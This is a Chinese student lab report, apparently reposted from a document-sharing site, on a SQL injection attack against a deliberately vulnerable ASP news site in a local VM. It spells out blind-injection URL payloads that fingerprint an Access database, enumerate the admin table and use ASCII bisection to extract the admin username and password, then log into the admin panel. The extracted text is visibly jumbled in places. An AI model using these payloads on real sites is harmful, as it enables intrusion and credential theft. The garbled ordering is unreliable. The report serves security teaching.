SQL注入攻击实验报告剖析.docx
《SQL注入攻击实验报告剖析.docx》由会员分享,可在线阅读,更多相关《SQL注入攻击实验报告剖析.docx(14页珍藏版)》请在冰豆网上搜索。
![SQL注入攻击实验报告剖析.docx](https://file1.bdocx.com/fileroot1/2023-1/3/d036bf30-0ab8-4824-82c4-0f3a6988e384/d036bf30-0ab8-4824-82c4-0f3a6988e3841.gif)
SQL注入攻击实验报告剖析
实验报告
(实验名称:
SQL注入攻击)
一、实验目的
通过SQL注入攻击,掌握网站的工作机制,认识到SQL注入攻击的防范措施,加强对Web攻击的防范。
二、实验环境
描述实验开展所基于的网络环境,给出网络拓扑、IP地址、web服务器、客户机等信息。
宿主机(客户机):
操作系统为Windows10,IP为192.168.18.11,在主机上安装虚拟化软件VmwarePlayer,在此基础上创建虚拟机并安装操作系统,进行网络配置,采用环回适配器,桥接模式,实现宿主机与虚拟机之间的网络通信,
虚拟机(Web服务器):
操作系统为WindowsXP,IP为192.168.18.9,
本实验利用windows的iis服务搭建了一个有SQL注入漏洞的网站“ASP新闻发布系统”,以该网站为目标,对其实施SQL注入攻击。
本实验所需工具如下:
IIS是InternetInformationServer的缩写,是微软提供的Internet服务器软件,包括Web、FTP、Mail等服务器,也是目前常用的服务器软件。
版本不限。
“啊D”注入工具:
对“MSSQL显错模式”、“MSSQL不显错模式”、“Access”等数据库都有很好的注入检测能力,内集“跨库查询”、“注入点扫描”、“管理入口检测”、
“目录查看”等等于一身的注入工具包。
“ASP新闻发布系统”Ok3wv4.6源码。
三、实验内容
(一)配置实验环境,
首先选择网络适配器,安装环回适配器,在主机上安装VmwarePlayer,成功启动虚拟机。
接着配置宿主机和虚拟机的IP,如图
要注意的是,配置主机上的IP时,应该选择VMnet8,并且注意勾取Bridge
-1-
然后,验证宿主机和虚拟机是否联通,结果显示连接成功。
程序,打开浏览器,输入地址“127.0.0.1”,检查网IIS最后在虚拟机上安装站搭建情况。
-2-
成功!
(二)寻找注入点
在宿主机上,打开网页http:
//192.168.18.9/list.asp?
id=95,可以正常打开页面。
进行注入测试,键入http:
//192.168.18.9/list.asp?
id=95and1=1,返回页面不变。
-3-
http:
//192.168.18.9/list.asp?
id=95and1=2,返回页面出错。
键入
因此,可确定该网站存在注入点。
(三)判断数据库类型用系统表的方法进行判断,分别键入from(selectandhttp:
//192.168.18.9/list.asp?
id=95count(*)
sysobjects)>0
from
http:
//192.168.18.9/list.asp?
id=95(select
and
count(*)
msysobjects)>0
-4-
两者返回均出错,可知是access数据库。
-5-
(四)猜测表名admin中,我们先试一下,键入:
一般网站后台的管理员都默认在表http:
//192.168.18.9/list.asp?
id=95and(selectcount(*)fromadmin)<>0
的表。
返回页面正常,可知该网站后台数据库中存在着表名为admin
分别记但一般都有三个字段,(五)猜测字段名不同公司网站有不同的字段名,username,password。
,录ID号、用户名和密码,常用的字段名为:
idfromand(selectcount(id)键分别入http:
//192.168.18.9/list.asp?
id=95
admin)<>0
from(selectcount(username)http:
//192.168.18.9/list.asp?
id=95and
admin)<>0
fromcount(password)andhttp:
//192.168.18.9/list.asp?
id=95(select
admin)<>0
password。
usernameadmin三者返回均正常。
可知,表中存在的三个字段:
id,,”的截图损坏,但是返回正常,望教员通融。
注:
“username
(六)猜测管理员用户名和密码http:
//192.168.18.9/list.asp?
id=95中有几条记录,键入确定表1.admin
and(selectcount(*)fromadmin)=1返回页面正常。
-6-
admin只有一条记录。
可知,表
http:
//192.168.18.9/list.asp?
id=95and(select2.猜测用户名长度,键入续键入继回len(username)fromadmin)=1返出错,http:
//192.168.18.9/list.asp?
id=95and(selectlen(username)fromadmin)=2
3/4/5…,试续,出返回错继测
-7-
5。
直到返回页面正确。
测试到5的时候,返回正常。
可知,用户名长度为
位,用二分法,键入猜测用户名内容,采用ASCII码分析法先猜测第13.http:
//192.168.18.9/list.asp?
id=95and(selectcount(*)fromadminwhere
(asc(mid(username,1,1)))between30and125)<>0返回正确,进一步缩小范围。
,,between70and100between85and100,between90and100=97
。
a可知第一个字符为依此类推,猜测之后的每一位字符,-8-
最后得到用户名为admin。
(selecthttp:
//192.168.18.9/list.asp?
id=95:
同码测4.猜密,理and
len(password)fromadmin)=6
-9-
位。
所以密码为6
-10-
-11-
。
6最终得到密码为位:
123456
D”软件,点击进入“管理入口检测”选(七)寻找到后台管理窗口打开“啊项,点击“检测管理入口”,进行检测,
如图:
打开检测到的各网址,测试是否为管理入口。
为管理入口,如图:
http:
//192.168.18.9/admin/index.asp可知
(八)登陆后台找到后台管理窗口,http:
//192.168.18.9/admin/ad_login.asp,用刚刚得到的用户名和密码登陆,后台登陆成功。
-12-
四、实验结果及分析
SQL注入攻击过程。
1)判断Web环境是否可以SQL注入。
如果URL仅是对网页的访问,不存在SQL注入问题,如:
http:
//192.168.18.9/list.asp?
id=95,其中?
id=95表示数据库查询变量,这种语句会在数据库中执行,因此可能会给数据库带来威胁。
2)寻找SQL注入点。
完成上一步的片断后,就要寻找可利用的注入漏洞,通过输入一些特殊语句,可以根据浏览器返回信息,判断数据库类型,从而构建数据库查询语句找到注入点。
3)猜解用户名和密码。
数据库中存放的表名、字段名都是有规律可言的。
通过构建特殊数据库语句在数据库中依次查找表名、字段名、用户名和密码的长度,以及内容。
这个过程可以通过网上大量注入工具快速实现,并借助破解网站轻易破译用户密码。
4)寻找WEB管理后台入口。
通常WEB后台管理的界面不面向普通用户开放,要寻找到后台的登陆路径,可以利用扫描工具快速搜索到可能的登陆地址,依次进行尝试,就可以试出管理台的入口地址。
5)入侵和破坏。
成功登陆后台管理后,接下来就可以任意进行破坏行为,如篡改网页、上传木马、修改、泄漏用户信息等,并进一步入侵数据库服务器。
实验心得:
在实验的过程中遇到了很多困难,配置上的,环境上的,还有一些需要注意的小问题,而且从整个实验的过程来讲也涉及到了很多软件的配合使用。
在整个实验中遇到的最大问题就是,宿主机和虚拟机此前一直连不通,通过宿主机ping虚拟机,一直无法连接。
直到最后我把虚拟机的防火墙关闭了,宿主机才能访问虚拟机上发布的网页。
可见,防火墙还是有一定作用的,但是对于网站来说开通-13-
了防火墙就没办法访问网页了。
-14-